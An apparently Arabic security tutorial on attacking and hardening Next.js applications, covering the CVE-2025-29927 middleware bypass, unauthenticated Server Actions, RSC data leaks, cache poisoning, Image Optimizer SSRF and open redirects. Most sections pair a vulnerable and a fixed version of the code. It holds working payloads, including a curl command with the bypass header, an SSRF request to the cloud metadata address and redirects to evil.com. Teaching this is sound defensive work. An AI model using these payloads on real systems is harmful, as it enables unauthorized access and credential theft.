الفرق الحمراء — الهجومخبير100mL70
أمن Next.js — Middleware و Server Actions و RSC
CVE-2025-29927 middleware bypass، Server Actions abuse، ISR poisoning، RSC leaks
#Next.js#Middleware#Server Actions#RSC#CVE-2025-29927
لماذا Next.js يضاعف سطح الهجوم
Next.js مزيج: React frontend + Node backend + edge middleware + RSC + Server Actions + Image Optimizer + ISR cache. كل واحدة منها بروتوكول هجوم مستقل. مهاجم متمرّس يفصل الطبقات و يضرب الأضعف.
تشبيه — شرح مبسط
كمبنى متعدد الطوابق فيه مصاعد متباينة (App Router, Pages, API, Edge). ليس كل المصاعد تذهب لكل الطوابق، و ليس كل الباب فيها يقفل بنفس الطريقة. المهاجم يتعلّم خريطة المصاعد قبل أن يُحدّد طريقه.
تذكير قانوني
الأمثلة لاختبار تطبيقاتك. لا تستخدمها على مواقع خارجية بدون إذن.
CVE-2025-29927 — Middleware Authorization Bypass
أكبر CVE في تاريخ Next.js (مارس 2025). استخدام رأس داخلي x-middleware-subrequest لتجاوز middleware authorization.
text
# Vulnerable: Next.js < 14.2.25 / < 15.2.3 يفحص هذا header
# لمنع loops لكن لم يعقّمه من external requests
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
https://target.com/admin
# النتيجة: middleware يُتخطّى بالكامل
# auth checks في middleware.ts → bypassed
# rewrite/redirect → bypassed
# rate limit → bypassedمن تأثّر
كل تطبيق Next.js يستخدم middleware للـ authorization. إذا كنت < 14.2.25 أو < 15.2.3، رقّع الآن. التحديث وحده الإصلاح. WAF rules مؤقتة فقط.
javascript
// الدفاع المعمّق — لا تعتمد على middleware وحده للـ authz
// كل route يفحص في handler:
export async function GET(req) {
const session = await getSession(req);
if (!session?.user?.isAdmin) return new Response('forbidden', { status: 403 });
// ...
}Server Actions — سطح هجوم جديد كلياً
Server Actions = functions على client تُستدعى عبر POST مشفّر. لكن:
- كل Server Action endpoint عام — حتى لو لم يُستخدم في UI. مهاجم يسرد actions من bundle و يستدعيها مباشرة.
- Authentication ليست تلقائية — يجب فحصها يدوياً في كل action.
- Action IDs مستقرة عبر deploys (إن لم يتم تشفيرها). مهاجم يحفظ ID و يستخدمه على version مختلف.
- FormData parsing — أنواع غير متوقّعة (Files كـ string).
javascript
// خطر — Server Action بدون auth
'use server';
export async function deleteUser(id: string) {
await db.user.delete({ where: { id } });
}
// أي مستخدم يستطيع استدعاءها (POST مع action ID)
// curl -X POST https://target.com/page \
// -H "Next-Action: 7f8a..." \
// -d '["userid"]'
// آمن
'use server';
export async function deleteUser(id: string) {
const session = await getServerSession(authOptions);
if (!session?.user?.isAdmin) throw new Error('unauthorized');
if (!validateId(id)) throw new Error('bad id');
await db.user.delete({ where: { id } });
}
// في next.config.js — تشفير action IDs
experimental: {
serverActions: { allowedOrigins: ['app.target.gov'] }
}Action ID enumeration
في dev mode، action IDs قابلة للتعداد عبر bundle. في prod، Next يشفّرها بـ encryption key. اضبط NEXT_SERVER_ACTIONS_ENCRYPTION_KEY صراحةً، إلا فإن كل deploy يولّد key جديد و يكسر long-lived clients.
React Server Components (RSC) — Data Leaks
tsx
// خطر — تمرير user object كامل إلى client component
// app/profile/page.tsx (Server Component)
export default async function Page() {
const user = await db.user.findUnique({ where: { id }, include: { ... } });
return <ProfileCard user={user} />; // user يحوي passwordHash, email...
}
// كل props إلى Client Component تُسلسل و تُرسل إلى المتصفح
// المهاجم يفتح DevTools → ينظر إلى __NEXT_DATA__ أو RSC payload و يقرأ كل شيء
// آمن — مرّر فقط ما يحتاج
return <ProfileCard
name={user.name}
avatar={user.avatar}
// لا passwordHash, mfaSecret, internal flags
/>;
// أو DTO صريح
const dto = pick(user, ['id', 'name', 'avatar']);
return <ProfileCard user={dto} />;مهم
"use server" و "use client" حدود thread. ما يبقى على الخادم هو فقط ما لا تمرّره إلى client component و لا تُرجعه من server action. الـ secrets في server-only files (e.g., server-only package).
API Routes / Route Handlers
typescript
// app/api/user/[id]/route.ts
export async function GET(req: NextRequest, { params }: { params: { id: string } }) {
// خطر بدون auth
return Response.json(await db.user.findUnique({ where: { id: params.id } }));
}
// IDOR: GET /api/user/123 ← أي user يقرأ أي user
// + DTO leak
// آمن
import { getServerSession } from 'next-auth';
export async function GET(req: NextRequest, { params }) {
const session = await getServerSession(authOptions);
if (!session) return new Response('unauthorized', { status: 401 });
// ownership
if (params.id !== session.user.id && !session.user.isAdmin) {
return new Response('forbidden', { status: 403 });
}
const user = await db.user.findUnique({
where: { id: params.id },
select: { id: true, name: true, email: true } // explicit fields
});
return Response.json(user);
}ISR / Cache Poisoning
Next.js يخزّن صفحات و API responses حسب URL. المهاجم يستطيع تسميم cache بطلب يتحكّم به.
text
# في app/products/[slug]/page.tsx
# revalidate = 3600
# المهاجم يستخدم header غير عادي يصل إلى logic:
GET /products/widget HTTP/1.1
X-Forwarded-Host: evil.com
# داخل الصفحة:
const url = headers().get('x-forwarded-host'); ← يستخدمه في canonical link
# النتيجة: cached version لـ /products/widget يحوي canonical = evil.com
# كل user لاحق يصل لنفس الصفحة المسمومةالدفاع
- لا تعتمد على request headers في رسم cached pages.
- عرّف cache key بصراحة — لا تترك Next يقرّر ضمنياً.
- افحص و حدّد trust proxy headers.
- revalidateTag / revalidatePath mutations يجب أن تتطلّب auth أو secret.
Image Optimizer SSRF
Next يحوي /_next/image endpoint يعيد تحميل أي URL لتحسينه. لو مكوّن remotePatterns فضفاض، يصبح SSRF proxy.
javascript
// next.config.js — خطر
images: {
domains: ['*'], // أو dangerouslyAllowSVG: true
remotePatterns: [{ protocol: 'https', hostname: '**' }]
}
// PoC — قراءة AWS metadata من خلف الخادم
GET /_next/image?url=http://169.254.169.254/latest/meta-data/&w=128&q=75
// SVG-based XSS لو dangerouslyAllowSVG: true بدون CSP
// (افتح SVG فيه <script>)
// آمن
images: {
remotePatterns: [
{ protocol: 'https', hostname: 'cdn.target.gov' },
{ protocol: 'https', hostname: 'images.target.gov' }
],
// dangerouslyAllowSVG: false (افتراضي)
contentSecurityPolicy: "default-src 'self'; script-src 'none';"
}Open Redirect عبر next/router
javascript
// خطر
const router = useRouter();
router.push(searchParams.get('next')); // المهاجم يعيد توجيه
// PoC: /login?next=//evil.com → بعد login يذهب لـ evil.com
// أو next=javascript:alert(1)
// آمن
function safeNext(n: string) {
if (!n) return '/';
if (!n.startsWith('/') || n.startsWith('//')) return '/';
return n;
}
router.push(safeNext(searchParams.get('next')));Environment variables — تسرّبات شائعة
- NEXT_PUBLIC_* تنتشر في bundle client. لا تضع secrets فيها.
- process.env في Server Component آمن، لكن لو مرّرته إلى Client Component، يُرسل.
- .env.local في git — أضف إلى .gitignore. استخدم secret manager في prod (Vercel env, AWS Secrets Manager).
- build-time vs runtime — secret في NEXT_PUBLIC يُحقن وقت البناء؛ لا يتغيّر بدون rebuild.
javascript
// server-only — Next مكتبة تمنع الاستيراد من client component
// app/lib/secret.ts
import 'server-only';
export const apiKey = process.env.API_KEY;
// لو client component استورد هذا، build يفشل. حماية compile-time.Authentication — Auth.js / Clerk pitfalls
typescript
// next-auth (Auth.js) — أخطاء شائعة
export const authOptions = {
providers: [...],
// خطر — لم يضبط secret
// secret: process.env.NEXTAUTH_SECRET, ← مطلوب في prod
// خطر — JWT بدون encryption
jwt: { encryption: false }, ← قبل v4 default خطر
callbacks: {
async jwt({ token, user }) {
if (user) token.role = user.role; // مدخل الـ role في JWT
return token;
},
async session({ session, token }) {
// خطر — تمرير token كاملاً للـ client
session.user = token; // يشمل internal flags
// آمن
session.user = { id: token.sub, role: token.role, name: token.name };
return session;
}
}
};
// تأكد أن middleware يفحص session لكل route محمي
export { default } from 'next-auth/middleware';
export const config = { matcher: ['/admin/:path*', '/api/admin/:path*'] };Edge Runtime vs Node Runtime
- Edge runtime يعمل على V8 isolates، لا full Node. بعض libs (crypto، fs) لا تعمل.
- Edge أسرع لكن أقلّ قوة — لا long DB queries.
- middleware يعمل على Edge افتراضياً. لو نقلته لـ Node، تأكد أن routes تتطابق.
- الـ secrets في Edge runtime تظهر في كل region — توزيع جغرافي قد يخالف data residency.
Headers و CSP في Next
javascript
// next.config.js
const securityHeaders = [
{ key: 'X-Frame-Options', value: 'DENY' },
{ key: 'X-Content-Type-Options', value: 'nosniff' },
{ key: 'Referrer-Policy', value: 'strict-origin-when-cross-origin' },
{ key: 'Strict-Transport-Security', value: 'max-age=63072000; includeSubDomains; preload' },
{ key: 'Permissions-Policy', value: 'camera=(), microphone=(), geolocation=()' },
];
module.exports = {
async headers() {
return [{ source: '/(.*)', headers: securityHeaders }];
},
};
// CSP مع nonce (متاح عبر middleware)
// middleware.ts
import { NextResponse } from 'next/server';
import { randomBytes } from 'crypto';
export function middleware(req) {
const nonce = randomBytes(16).toString('base64');
const csp = `
default-src 'self';
script-src 'self' 'nonce-${nonce}' 'strict-dynamic';
style-src 'self' 'nonce-${nonce}';
object-src 'none';
base-uri 'self';
frame-ancestors 'none';
`.replace(/\s{2,}/g, ' ').trim();
const res = NextResponse.next();
res.headers.set('Content-Security-Policy', csp);
res.headers.set('x-nonce', nonce);
return res;
}checklist مراجعة Next.js app
- الإصدار >= 14.2.25 / 15.2.3 (CVE-2025-29927).
- Middleware ليس الفحص الوحيد للـ authz — كل route يعيد الفحص.
- Server Actions كلها تتحقق من session + input.
- RSC: لا تمرّر entities كاملة لـ client.
- API Routes: ownership check + select explicit.
- Image: remotePatterns صارمة.
- NEXT_SERVER_ACTIONS_ENCRYPTION_KEY مضبوط.
- Headers: HSTS, CSP, Permissions-Policy.
- NEXT_PUBLIC_* لا تحوي secrets.
- server-only package على ملفات السرّ.
- Auth.js: secret + algorithms مضبوطة.
- open redirect filter في كل router.push من user input.
أدوات
next-secure-headers, Snyk, Semgrep p/nextjs, Vercel Firewall, Cloudflare WAF rules لـ Next-specific patterns.